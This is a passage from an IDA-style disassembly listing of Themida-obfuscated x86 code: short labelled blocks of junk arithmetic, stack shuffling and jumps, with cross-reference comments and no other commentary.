		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4591:				; CODE XREF: Themida_:005A2EBFj
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_593A8F
; ---------------------------------------------------------------------------


loc_5A45AD:				; CODE XREF: Themida_:0059F521j
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_594B6F
; ---------------------------------------------------------------------------


loc_5A45B8:				; CODE XREF: Themida_:0059FEE0j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A150B
; ---------------------------------------------------------------------------


loc_5A45D2:				; CODE XREF: Themida_:0059FDE7j
		push	esi
		pop	eax
		mov	ebp, eax
		pop	eax
		mov	esi, [esp]
		jmp	loc_5A51E4
; ---------------------------------------------------------------------------


loc_5A45DF:				; CODE XREF: Themida_:005A0665j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590448
; ---------------------------------------------------------------------------


loc_5A45F4:				; CODE XREF: Themida_:00592CEFj
		push	eax
		mov	eax, ebx
		mov	edx, eax
		jmp	loc_5A1101
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	25CFh
		mov	[esp], eax
		push	esp
		jmp	loc_597322
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: Themida_:00595728j
		pop	eax
		jmp	loc_59D419
; ---------------------------------------------------------------------------


loc_5A4616:				; CODE XREF: Themida_:005912B2j
		push	2674362Bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	ebx, 566C048Ah
		jmp	loc_59FBCF
; ---------------------------------------------------------------------------


loc_5A462D:				; CODE XREF: Themida_:005974D5j
		push	esp
		jmp	loc_59D3E3
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	3CDE1B36h
		pop	eax
		shr	eax, 2
		jmp	loc_59EE69
; ---------------------------------------------------------------------------


loc_5A4662:				; CODE XREF: Themida_:0059C796j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_598A84
; ---------------------------------------------------------------------------


loc_5A4675:				; CODE XREF: Themida_:00599BE3j
		shr	ebp, 1
		inc	ebp
		shr	ebp, 4
		add	ebp, 2602BEB7h
		add	ecx, 0A2E2737h
		jmp	loc_596843
; ---------------------------------------------------------------------------


loc_5A468C:				; CODE XREF: Themida_:00590CDEj
		xor	[esp], cx
		xor	cx, [esp]
		xor	[esp], cx
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_59DBC4
; ---------------------------------------------------------------------------


loc_5A46A4:				; CODE XREF: Themida_:0059B490j
		mov	eax, esi
		pop	esi
		sub	ebx, eax
		jmp	loc_59598A
; ---------------------------------------------------------------------------


loc_5A46AE:				; CODE XREF: Themida_:00596F3Fj
		pop	esp
		add	esi, 4
		push	5B0Bh
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	ebx
		jmp	loc_5A121C
; ---------------------------------------------------------------------------


loc_5A46CB:				; CODE XREF: Themida_:00596F9Cj
		mov	ch, bl
		mov	al, ch
		pop	ecx
		jmp	loc_59EB87
; ---------------------------------------------------------------------------


loc_5A46D5:				; CODE XREF: Themida_:005A1544j
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5A541E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 87F5EB7h
		or	edi, 3BFA3662h
		and	edi, 6E4D5044h
		dec	edi
		jmp	loc_5A2151
; ---------------------------------------------------------------------------


loc_5A4707:				; CODE XREF: Themida_:005A2C88j
		mov	eax, edx
		jmp	loc_59EF6D
; ---------------------------------------------------------------------------


loc_5A470E:				; CODE XREF: Themida_:005A0E06j
		add	edi, 5703C8h
		sub	ebp, edi
		pop	edi
		jmp	loc_5A0A8A
; ---------------------------------------------------------------------------


loc_5A471C:				; CODE XREF: Themida_:005A3FF1j
		push	esi
		jmp	loc_5A0C83
; ---------------------------------------------------------------------------


loc_5A4722:				; CODE XREF: Themida_:00598301j
		push	ebx
		mov	ebx, 0D7255E6h
		shl	ebx, 8
		shl	ebx, 5
		xor	ebx, 0A908607h
		xor	ecx, ebx
		pop	ebx
		mov	eax, ecx
		pop	ecx
		sub	ebx, 65726378h
		add	ebx, eax
		push	4FBDh
		mov	[esp], esi
		mov	esi, 60F241CCh
		shl	esi, 1
		shl	esi, 8
		sub	esi, 0FFFFFFFFh
		sub	esi, 0E6567Ch
		jmp	loc_59D0B9
; ---------------------------------------------------------------------------


loc_5A4762:				; CODE XREF: Themida_:00594648j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5993B0
; ---------------------------------------------------------------------------


loc_5A476D:				; CODE XREF: Themida_:005914A3j
		pop	edx
		sub	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, edx
		push	dword ptr [esp]
		jmp	loc_59D4E8
; ---------------------------------------------------------------------------


loc_5A4788:				; CODE XREF: Themida_:0059F360j
		xchg	ebx, [esp]
		jmp	loc_59116B
; ---------------------------------------------------------------------------


loc_5A4790:				; CODE XREF: Themida_:005A21B8j
		sub	bl, 0Ch
		jmp	loc_59499C
; ---------------------------------------------------------------------------


loc_5A4798:				; CODE XREF: Themida_:005925FFj
		mov	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 46FD1BA5h
		sub	ebp, 2AD73D78h
		sub	ebp, 0F2D09895h
		jmp	loc_593618
; ---------------------------------------------------------------------------


loc_5A47B2:				; CODE XREF: Themida_:0059A40Cj
		not	edx
		sub	edx, 8896B585h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		not	ecx
		or	ecx, 54266583h
		not	ecx
		inc	ecx
		push	eax
		jmp	loc_5990A9
; ---------------------------------------------------------------------------


loc_5A47D3:				; CODE XREF: Themida_:005A429Aj
		add	esp, 2
		push	eax
		mov	al, 11h
		sub	bl, al
		pop	eax
		add	bl, ch
		jmp	loc_59F41D
; ---------------------------------------------------------------------------


loc_5A47E6:				; CODE XREF: Themida_:005A0484j
		sub	eax, 2CCCB501h
		mov	esi, eax
		pop	eax
		jmp	loc_597E4D
; ---------------------------------------------------------------------------


loc_5A47F3:				; CODE XREF: Themida_:0059FB41j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5FA86425h
		push	ecx
		dec	dword ptr [esp]
		pop	ecx
		jmp	loc_596765
; ---------------------------------------------------------------------------


loc_5A480F:				; CODE XREF: Themida_:0059846Cj
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A5192
; ---------------------------------------------------------------------------


loc_5A482B:				; CODE XREF: Themida_:005A34F1j
		dec	ebp
		shl	ebp, 5
		jmp	loc_598073
; ---------------------------------------------------------------------------


loc_5A4834:				; CODE XREF: Themida_:0059BF4Fj
		push	edi
		mov	edi, 599724F6h
		xor	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		push	esi
		jmp	loc_59FC04
; ---------------------------------------------------------------------------


loc_5A4848:				; CODE XREF: Themida_:005960B6j
		xor	al, bl
		push	5C08h
		jmp	loc_599566
; ---------------------------------------------------------------------------


loc_5A4854:				; CODE XREF: Themida_:00598A14j
		push	888h
		mov	[esp], eax
		push	edx
		jmp	loc_594F1B
; ---------------------------------------------------------------------------


loc_5A4862:				; CODE XREF: Themida_:00593159j
		add	edx, ecx
		pop	ecx
		xor	edx, 0C8BC2A0Eh
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 27B0389Fh
		jmp	loc_59079B
; ---------------------------------------------------------------------------


loc_5A487E:				; CODE XREF: Themida_:005941C2j
		pop	esp
		jmp	loc_59EC65
; ---------------------------------------------------------------------------


loc_5A4884:				; CODE XREF: Themida_:00596B69j
		sub	edi, 281803FCh
		push	edi
		add	dword ptr [esp], 648550B7h
		pop	ebx
		jmp	loc_5A2771
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		jmp	loc_594B2F
; ---------------------------------------------------------------------------


loc_5A48A1:				; CODE XREF: Themida_:00591F18j
		pop	eax
		dec	dh
		xor	dh, 35h
		add	cl, dh
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, cl
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		mov	bl, al
		pop	eax
		xchg	al, bl
		not	al
		xchg	al, bl
		push	4E83h
		mov	[esp], edx
		mov	dl, 0D9h
		xor	bl, dl
		jmp	loc_5994D0
; ---------------------------------------------------------------------------


loc_5A48D2:				; CODE XREF: Themida_:005981E4j
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		sub	[esp+4], esi
		jmp	loc_59653D
; ---------------------------------------------------------------------------


loc_5A48E1:				; CODE XREF: Themida_:0059132Bj
		shr	ebp, 6
		or	ebp, 66E310D4h
		add	ebp, 57FD7E0Bh
		sub	ebp, 439C00F7h
		sub	edx, ebp
		pop	ebp
		jmp	loc_59EDD3
; ---------------------------------------------------------------------------


loc_5A48FE:				; CODE XREF: Themida_:0059E478j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59AED8
; ---------------------------------------------------------------------------


loc_5A4908:				; CODE XREF: Themida_:0059E8C9j
		push	0D4Fh
		mov	[esp], ebx
		mov	ebx, 777A1EC7h
		jmp	loc_590618
; ---------------------------------------------------------------------------


loc_5A491A:				; CODE XREF: Themida_:005944EAj
		mov	edx, 635B6DCCh
		inc	edx
		add	edx, 0E0FDBC94h
		shr	edx, 5
		jmp	loc_59A1E8
; ---------------------------------------------------------------------------


loc_5A492E:				; CODE XREF: Themida_:005985CFj
		push	edx
		jmp	loc_5A0FE7
; ---------------------------------------------------------------------------


loc_5A4934:				; CODE XREF: Themida_:005935F8j
		add	dword ptr [esp+4], 2A460F2Bh
		add	dword ptr [esp+4], 503A6D81h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 503A6D81h
		jmp	loc_598F68
; ---------------------------------------------------------------------------


loc_5A4955:				; CODE XREF: Themida_:00599D4Bj
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 69310FF6h
		mov	ebp, ecx
		jmp	loc_5A1732
; ---------------------------------------------------------------------------


loc_5A4968:				; CODE XREF: Themida_:00599433j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A0BD3
; ---------------------------------------------------------------------------


loc_5A4980:				; CODE XREF: Themida_:0059DF29j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 52663A71h
		shl	esi, 6
		not	esi
		not	esi
		dec	esi
		xor	esi, 998E9C3Bh
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_59A39D
; ---------------------------------------------------------------------------


loc_5A49A7:				; CODE XREF: Themida_:005A1167j
		mov	edx, 6A7A7852h
		shl	edx, 1
		xor	edx, 0D4F4F0A6h
		jmp	loc_59D3EF
; ---------------------------------------------------------------------------


loc_5A49B9:				; CODE XREF: Themida_:005A37E7j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_59D1D4
; ---------------------------------------------------------------------------


loc_5A49C3:				; CODE XREF: Themida_:00593807j
		pop	eax
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A29FD
; ---------------------------------------------------------------------------


loc_5A49D5:				; CODE XREF: Themida_:005A254Bj
		add	esp, 4
		jmp	loc_598A98
; ---------------------------------------------------------------------------


loc_5A49DD:				; CODE XREF: Themida_:00598060j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59F772
; ---------------------------------------------------------------------------


loc_5A49E6:				; CODE XREF: Themida_:005A03CDj
		add	ebx, eax
		sub	esp, 4
		jmp	loc_59A11F
; ---------------------------------------------------------------------------


loc_5A49F3:				; CODE XREF: Themida_:00598599j
		mov	ah, 1Bh
		push	edx
		mov	dh, ah
		mov	bh, dh
		pop	edx
		jmp	loc_5942BE
; ---------------------------------------------------------------------------


loc_5A4A00:				; CODE XREF: Themida_:005A1941j
		push	61F4h
		push	esp
		jmp	loc_5972DB
; ---------------------------------------------------------------------------


loc_5A4A0B:				; CODE XREF: Themida_:00598494j
		pop	ebx
		push	ebx
		mov	ebx, 68D703A8h
		push	edi
		jmp	loc_59C613
; ---------------------------------------------------------------------------


loc_5A4A18:				; CODE XREF: Themida_:00593B81j
		sub	ebx, 59AA48F1h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5928F9
; ---------------------------------------------------------------------------


loc_5A4A32:				; CODE XREF: Themida_:0059223Bj
		mov	[esp], edi
		jmp	loc_59538F
; ---------------------------------------------------------------------------


loc_5A4A3A:				; CODE XREF: Themida_:00595652j
		and	eax, edi
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_59A21B
; ---------------------------------------------------------------------------


loc_5A4A4D:				; CODE XREF: Themida_:005A12AEj
		sub	edx, 77CE417Fh
		sub	edx, 47FE4A23h
		add	edx, ebx
		add	edx, 47FE4A23h
		add	edx, 77CE417Fh
		push	ebx
		mov	ebx, 3AFC5A07h
		add	edx, 3ABF6749h
		sub	edx, ebx
		sub	edx, 3ABF6749h
		pop	ebx
		pop	ebx
		sub	edx, eax
		sub	edx, 3F652318h
		sub	edx, 68BB0F9Ah
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A4A90:				; CODE XREF: Themida_:005A4B68j
		add	bl, 0BAh
		neg	bl
		jmp	loc_59B4E7
; ---------------------------------------------------------------------------


loc_5A4A9A:				; CODE XREF: Themida_:00595A17j
		xchg	eax, [esp]
		pop	esp
		add	ebp, esi
		pop	esi
		and	ebp, 26ED1CB7h
		push	edi
		mov	edi, 6BBA4C8Bh
		add	ebp, edi
		pop	edi
		shr	ebp, 7
		xor	ebp, 6023A587h
		add	eax, ebp
		pop	ebp
		push	ebp
		jmp	loc_5920A0
; ---------------------------------------------------------------------------


loc_5A4AC2:				; CODE XREF: Themida_:005A545Cj
		push	dx
		jmp	loc_59FFA8
; ---------------------------------------------------------------------------


loc_5A4AC9:				; CODE XREF: Themida_:005A1243j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_599886
; ---------------------------------------------------------------------------


loc_5A4AD3:				; CODE XREF: Themida_:005A068Bj
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 14EA5D52h
		xor	edi, 52965133h
		xor	edi, 64015D79h
		or	edi, 7E4959ABh
		and	edi, 478A2534h
		and	edi, 0D7F1E1Ah
		sub	edi, 0E07FF77Fh
		jmp	loc_594677
; ---------------------------------------------------------------------------


loc_5A4B08:				; CODE XREF: Themida_:0059C4A5j
		pop	ecx
		mov	ebp, ebx
		jmp	loc_59A7BA
; ---------------------------------------------------------------------------


loc_5A4B10:				; CODE XREF: Themida_:005A1329j
		mov	ebp, 0FFFFh
		jmp	loc_590772
; ---------------------------------------------------------------------------


loc_5A4B1A:				; CODE XREF: Themida_:00597FE5j
		mov	ah, 43h
		and	ah, 0CAh
		not	ah
		push	edx
		push	ecx
		mov	ch, 5Ch
		not	ch
		jmp	loc_59C48D
; ---------------------------------------------------------------------------


loc_5A4B2C:				; CODE XREF: Themida_:005902F7j
		shr	ecx, 4
		push	edi
		mov	edi, 61AF0782h
		sub	edi, 0A1E919EBh
		add	ecx, edi
		jmp	loc_59964E
; ---------------------------------------------------------------------------


loc_5A4B42:				; CODE XREF: Themida_:005A1DBBj
		neg	ebx
		xor	ebx, 5C0F1F07h
		jmp	loc_59EF04
; ---------------------------------------------------------------------------


loc_5A4B4F:				; CODE XREF: Themida_:005908A4j
		push	ebp
		mov	ebp, 3A891BBCh
		dec	ebp
		neg	ebp
		sub	ebp, 55B281B8h
		sub	ecx, ebp
		jmp	loc_594D97
; ---------------------------------------------------------------------------


loc_5A4B65:				; CODE XREF: Themida_:00592D1Aj
		push	ebx
		mov	bl, 0A5h
		jmp	loc_5A4A90
; ---------------------------------------------------------------------------


loc_5A4B6D:				; CODE XREF: Themida_:0059210Fj
		pop	ecx
		push	eax
		push	ebx
		jmp	loc_5A1F63
; ---------------------------------------------------------------------------


loc_5A4B75:				; CODE XREF: Themida_:0059A5CCj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esi, 4
		push	esi
		jmp	loc_597120
; ---------------------------------------------------------------------------


loc_5A4B8D:				; CODE XREF: Themida_:0059253Dj
		xor	ax, bx
		pop	bx
		push	cx
		jmp	loc_59AD65
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	66F5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 785B3643h
		jmp	loc_5984E7
; ---------------------------------------------------------------------------


loc_5A4BC3:				; CODE XREF: Themida_:0059A62Cj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_59C55E
; ---------------------------------------------------------------------------


loc_5A4BD7:				; CODE XREF: Themida_:005A2FFBj
		pop	esi
		add	esp, 4
		or	esi, 1C3B7CA4h
		jmp	loc_59DD30
; ---------------------------------------------------------------------------


loc_5A4BE9:				; CODE XREF: Themida_:0059F4B3j
		add	esp, 4
		sub	ecx, 410141B0h
		xor	ecx, 0F31B095Dh
		xor	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_59B753
; ---------------------------------------------------------------------------


loc_5A4C01:				; CODE XREF: Themida_:00594959j
		shl	edi, 5
		shr	edi, 4
		add	edi, 78F53EB2h
		add	edi, 7E187DD7h
		jmp	loc_590BD2
; ---------------------------------------------------------------------------


loc_5A4C18:				; CODE XREF: Themida_:00597449j
		mov	ebx, 465708ECh
		jmp	loc_598DAB
; ---------------------------------------------------------------------------


loc_5A4C22:				; CODE XREF: Themida_:005A1A32j
		sub	al, bl
		add	al, 93h
		push	ecx
		mov	ch, 0C3h
		jmp	loc_59AC62
; ---------------------------------------------------------------------------


loc_5A4C2E:				; CODE XREF: Themida_:005961F9j
		add	edx, 301B7290h
		sub	edx, 3D728B60h
		add	edi, edx
		pop	edx
		push	ebx
		jmp	loc_5916E5
; ---------------------------------------------------------------------------


loc_5A4C43:				; CODE XREF: Themida_:0059CD18j
		push	ecx
		jmp	loc_5970A4
; ---------------------------------------------------------------------------


loc_5A4C49:				; CODE XREF: Themida_:005983CFj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A5415
; ---------------------------------------------------------------------------


loc_5A4C54:				; CODE XREF: Themida_:005A1AC0j
		shl	ebp, 1
		inc	ebp
		inc	ebp
		sub	ebp, 6EC04F99h
		and	ebx, ebp
		pop	ebp
		jmp	loc_597441
; ---------------------------------------------------------------------------


loc_5A4C66:				; CODE XREF: Themida_:00593944j
		push	dword ptr [esp]
		jmp	loc_59A215
; ---------------------------------------------------------------------------


loc_5A4C6E:				; CODE XREF: Themida_:0059F7F8j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 231C552Bh
		jmp	loc_59FD18
; ---------------------------------------------------------------------------


loc_5A4C81:				; CODE XREF: Themida_:005A2AFCj
		pop	ebx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_59D899
; ---------------------------------------------------------------------------


loc_5A4C94:				; CODE XREF: Themida_:005904BEj
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	5C96h
		mov	[esp], edi
		push	23Dh
		push	esp
		pop	dword ptr [esp]
		push	eax
		jmp	loc_598BBB
; ---------------------------------------------------------------------------


loc_5A4CC8:				; CODE XREF: Themida_:00591484j
		push	eax
		jmp	loc_59F908
; ---------------------------------------------------------------------------


loc_5A4CCE:				; CODE XREF: Themida_:00596AFEj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A4CD3:				; CODE XREF: Themida_:005A54BDj
		pop	eax
		add	esp, 4
		jmp	loc_59F2F3
; ---------------------------------------------------------------------------


loc_5A4CDF:				; CODE XREF: Themida_:0059D5B3j
		push	dword ptr [esp+4]
		jmp	loc_599F79
; ---------------------------------------------------------------------------


loc_5A4CE8:				; CODE XREF: Themida_:0059EB82j
		add	eax, 4FF1704h
		sub	eax, 34EA2576h
		sub	eax, 0FFFFFFFFh
		and	eax, 552A407Ah
		add	eax, 257D2184h
		and	edi, eax
		pop	eax
		shr	edi, 5
		inc	edi
		and	edi, 1C2007A2h
		sub	edi, 92AE00AFh
		xor	edx, edi
		pop	edi
		jmp	loc_591813
; ---------------------------------------------------------------------------


loc_5A4D1A:				; CODE XREF: Themida_:005A5576j
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		push	edx
		jmp	loc_5995E6
; ---------------------------------------------------------------------------


loc_5A4D27:				; CODE XREF: Themida_:00592590j
		add	ebx, 0F241CD95h
		add	esi, ebx
		pop	ebx
		push	ebp
		jmp	loc_5A434F
; ---------------------------------------------------------------------------


loc_5A4D36:				; CODE XREF: Themida_:00594A4Ej
		pop	edi
		or	ebx, 7B539D3h
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ebx, esi
		pop	esi
		dec	ebx
		xor	ebx, 6B5778BAh
		push	ebp
		mov	ebp, 0CF96DADh
		and	ebp, 18521EACh
		add	ebp, 6B0F6DF1h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A1CCB
; ---------------------------------------------------------------------------


loc_5A4D75:				; CODE XREF: Themida_:0059A6EBj
		and	ebp, ecx
		jmp	loc_591821
; ---------------------------------------------------------------------------


loc_5A4D7C:				; CODE XREF: Themida_:00597DF1j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A179F
; ---------------------------------------------------------------------------


loc_5A4D88:				; CODE XREF: Themida_:00593C33j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, esi
		add	eax, 427513D2h
		jmp	loc_5908F9
; ---------------------------------------------------------------------------


loc_5A4D9A:				; CODE XREF: Themida_:0059D9F3j
		push	dx
		mov	dh, 57h
		sub	al, dh
		jmp	loc_59457C
; ---------------------------------------------------------------------------


loc_5A4DA5:				; CODE XREF: Themida_:005970D0j
		push	dword ptr [esp]
		jmp	loc_59BE4D
; ---------------------------------------------------------------------------


loc_5A4DAD:				; CODE XREF: Themida_:005910DFj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	ebp
		push	ebx
		push	3545394Bh
		jmp	loc_5A066A
; ---------------------------------------------------------------------------


loc_5A4DCC:				; CODE XREF: Themida_:00595F2Dj
		mov	ebx, offset byte_5F3EDF
		jmp	loc_5960F1
; ---------------------------------------------------------------------------


loc_5A4DD6:				; CODE XREF: Themida_:0059261Bj
		mov	edx, 15E306A0h
		jmp	loc_59F1AE
; ---------------------------------------------------------------------------


loc_5A4DE0:				; CODE XREF: Themida_:00597607j
		add	bh, 0
		jmp	loc_5A2C30
; ---------------------------------------------------------------------------


loc_5A4DE8:				; CODE XREF: Themida_:005A15AAj
		add	ebx, 139709D7h
		jmp	loc_5A09C8
; ---------------------------------------------------------------------------


loc_5A4DF3:				; CODE XREF: Themida_:00591CE7j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A1DC6
; ---------------------------------------------------------------------------


loc_5A4DFE:				; CODE XREF: Themida_:0059BA32j
		and	eax, 116C0D38h
		jmp	loc_5923BA
; ---------------------------------------------------------------------------


loc_5A4E08:				; CODE XREF: Themida_:005979A5j
		pop	edx
		push	2839h
		mov	[esp], edx
		jmp	loc_590D7B
; ---------------------------------------------------------------------------


loc_5A4E16:				; CODE XREF: Themida_:005A1274j
		mov	esp, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_59D259
; ---------------------------------------------------------------------------


loc_5A4E4D:				; CODE XREF: Themida_:005963CFj
		mov	edx, 4B0516DCh
		shr	edx, 3
		shl	edx, 7
		add	edx, 1BCA0650h
		push	eax
		jmp	loc_592749
; ---------------------------------------------------------------------------


loc_5A4E64:				; CODE XREF: Themida_:005A0494j
		push	ebp
		push	237E4922h
		jmp	loc_5A3793
; ---------------------------------------------------------------------------


loc_5A4E6F:				; CODE XREF: Themida_:00591110j
		pop	ecx
		add	ebx, 7DED102Bh
		sub	ebx, 652E5554h
		or	ebx, 68EC0127h
		sub	ebx, 78FEC933h
		jmp	loc_59E18E
; ---------------------------------------------------------------------------


loc_5A4E8D:				; CODE XREF: Themida_:0059452Dj
		add	edi, 179C4651h
		inc	edi
		sub	edi, 0D20BD3FDh
		sub	edx, edi
		pop	edi
		jmp	loc_5A3F76
; ---------------------------------------------------------------------------


loc_5A4EA2:				; CODE XREF: Themida_:00593471j
		mov	[esp], ebx
		push	ecx
		push	29116A70h
		pop	ecx
		xor	ecx, 0E4B0FD0h
		sub	ecx, 275A659Eh
		push	1F1Ah
		mov	[esp], esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		pop	ecx
		sub	ecx, ebx
		jmp	loc_5A2D57
; ---------------------------------------------------------------------------


loc_5A4ECD:				; CODE XREF: Themida_:0059123Bj
		add	ecx, 4
		jmp	loc_59925F
; ---------------------------------------------------------------------------


loc_5A4ED8:				; CODE XREF: Themida_:0059343Bj
		push	16781990h
		pop	eax
		shl	eax, 5
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59D6FF
; ---------------------------------------------------------------------------


loc_5A4EEF:				; CODE XREF: Themida_:00599409j
		add	[esp+4], edi
		add	dword ptr [esp+4], 28434C9Bh
		pop	edi
		pop	ebp
		push	edi
		mov	edi, 3B4D6D1Ah
		jmp	loc_599369
; ---------------------------------------------------------------------------


loc_5A4F08:				; CODE XREF: Themida_:00592A45j
		pop	ecx
		add	edx, ebp
		pop	ebp
		sub	edx, edi
		push	ebx
		mov	ebx, 5B79469Bh
		sub	edx, ebx
		pop	ebx
		pop	edi
		push	2240h
		mov	[esp], esi
		mov	esi, 40C077A5h
		add	edx, esi
		pop	esi
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A4F2D:				; CODE XREF: Themida_:005A3E1Dj
		shr	edx, 8
		and	edx, 21006285h
		xor	edx, 4A8F12DCh
		mov	ebp, edx
		pop	edx
		dec	ebp
		push	edx
		jmp	loc_5A021D
; ---------------------------------------------------------------------------


loc_5A4F46:				; CODE XREF: Themida_:005A3E40j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59FEA1
; ---------------------------------------------------------------------------


loc_5A4F54:				; CODE XREF: Themida_:0059E663j
		add	eax, edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A03C2
; ---------------------------------------------------------------------------


loc_5A4F61:				; CODE XREF: Themida_:0059F983j
		add	ebp, 76E554DCh
		push	ebp
		sub	dword ptr [esp], 4EB05B3Eh
		jmp	loc_5922FD
; ---------------------------------------------------------------------------


loc_5A4F74:				; CODE XREF: Themida_:0059872Aj
		mov	[esp], esi
		push	edx
		mov	edx, 290D258Dh
		xor	edx, 291965DFh
		jmp	loc_5A2CF1
; ---------------------------------------------------------------------------


loc_5A4F88:				; CODE XREF: Themida_:005A56B0j
		add	edx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59E0FB
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A4FA3:				; CODE XREF: Themida_:00599456j
		pop	ebp
		neg	eax
		xor	eax, 41C8137Dh
		add	esi, eax
		jmp	loc_59733B
; ---------------------------------------------------------------------------


loc_5A4FB2:				; CODE XREF: Themida_:00595647j
		dec	eax
		dec	eax
		jmp	loc_591AAD
; ---------------------------------------------------------------------------


loc_5A4FB9:				; CODE XREF: Themida_:00591EA1j
		mov	ebx, 18841C5Dh
		jmp	loc_59AB26
; ---------------------------------------------------------------------------


loc_5A4FC3:				; CODE XREF: Themida_:00595EF9j
		xor	ecx, 22D0586Eh
		not	ecx
		jmp	loc_598DE2
; ---------------------------------------------------------------------------


loc_5A4FD0:				; CODE XREF: Themida_:0059F140j
		add	ebp, ecx
		add	ebp, 439E37F1h
		push	edx
		mov	edx, 674F78F7h
		add	ebp, edx
		pop	edx
		pop	ecx
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, 441671BBh
		add	ecx, eax
		sub	ecx, 441671BBh
		jmp	loc_5A1BD3
; ---------------------------------------------------------------------------


